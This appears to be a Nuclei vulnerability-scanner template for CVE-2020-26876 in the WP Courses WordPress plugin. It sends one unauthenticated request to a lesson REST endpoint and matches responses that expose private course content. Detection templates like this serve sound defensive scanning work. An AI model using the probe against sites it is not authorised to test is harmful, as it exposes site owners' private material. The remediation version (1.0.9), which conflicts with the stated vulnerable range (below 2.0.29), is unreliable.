id: CVE-2020-26876

info:
  name: WordPress WP Courses Plugin Information Disclosure
  author: dwisiswant0
  severity: high
  description: WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information about the WordPress WP Courses Plugin.
  remediation: |
    Update to the latest version of the WordPress WP Courses Plugin (1.0.9) to fix the information disclosure vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26876
    - https://www.exploit-db.com/exploits/48910
    - https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
    - https://plugins.trac.wordpress.org/changeset/2388997
    - https://plugins.trac.wordpress.org/changeset/2389243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-26876
    cwe-id: CWE-306
    epss-score: 0.01988
    epss-percentile: 0.8756
    cpe: cpe:2.3:a:wpcoursesplugin:wp-courses:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpcoursesplugin
    product: wp-courses
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,exposure,edb,wpcoursesplugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "rest_post_invalid_id"
          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
        condition: or

      - type: status
        status:
          - 200
          - 404
        condition: or
# digest: 490a00463044022074e4f994e511c2ef52ad19b113f391b3e5bdea5bc29e3cd36ebed094d808efe10220320fa45b48b5d0e3dc8c2041b8885ccfbebf95f46b9c8bb983358c04c38a6707:922c64590222798bb761d5b6d8e72950